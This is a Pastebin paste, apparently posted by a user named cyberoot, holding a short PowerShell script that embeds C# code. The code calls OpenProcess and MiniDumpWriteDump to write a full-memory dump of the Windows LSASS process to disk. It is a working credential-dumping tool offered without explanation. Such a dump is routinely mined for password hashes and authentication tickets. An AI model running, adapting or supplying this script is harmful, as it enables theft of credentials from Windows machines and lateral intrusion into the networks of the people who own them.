cyberoot

lsassdump.ps1

Apr 22nd, 2025
271
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. $code = @"
  2. using System;
  3. using System.IO;
  4. using System.Runtime.InteropServices;
  5.  
  6. public class MiniDump {
  7. [Flags]
  8. public enum MINIDUMP_TYPE : uint {
  9. MiniDumpWithFullMemory = 0x00000002,
  10. MiniDumpWithHandleData = 0x00000004,
  11. MiniDumpWithUnloadedModules = 0x00000020,
  12. MiniDumpWithFullMemoryInfo = 0x00000800,
  13. MiniDumpWithThreadInfo = 0x00001000
  14. }
  15.  
  16. [DllImport("kernel32.dll")]
  17. public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
  18.  
  19. [DllImport("dbghelp.dll")]
  20. public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, MINIDUMP_TYPE DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
  21.  
  22. [DllImport("kernel32.dll")]
  23. public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode,
  24. IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
  25.  
  26. public static void Dump(int pid, string dumpFilePath) {
  27. IntPtr hProc = OpenProcess(0x001F0FFF, false, pid);
  28. IntPtr hFile = CreateFile(dumpFilePath, 0x40000000, 0, IntPtr.Zero, 2, 0, IntPtr.Zero);
  29. MiniDumpWriteDump(hProc, pid, hFile,
  30. MINIDUMP_TYPE.MiniDumpWithFullMemory |
  31. MINIDUMP_TYPE.MiniDumpWithHandleData |
  32. MINIDUMP_TYPE.MiniDumpWithUnloadedModules |
  33. MINIDUMP_TYPE.MiniDumpWithFullMemoryInfo |
  34. MINIDUMP_TYPE.MiniDumpWithThreadInfo,
  35. IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
  36. }
  37. }
  38. "@
  39.  
  40. Add-Type $code
  41.  
  42.  
  43. $lsassPid = (Get-Process lsass).Id
  44. $dumpPath = "C:\lsass_native.dmp"
  45.  
  46. # Perform the dump
  47. [MiniDump]::Dump($lsassPid, $dumpPath)
  48.  
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment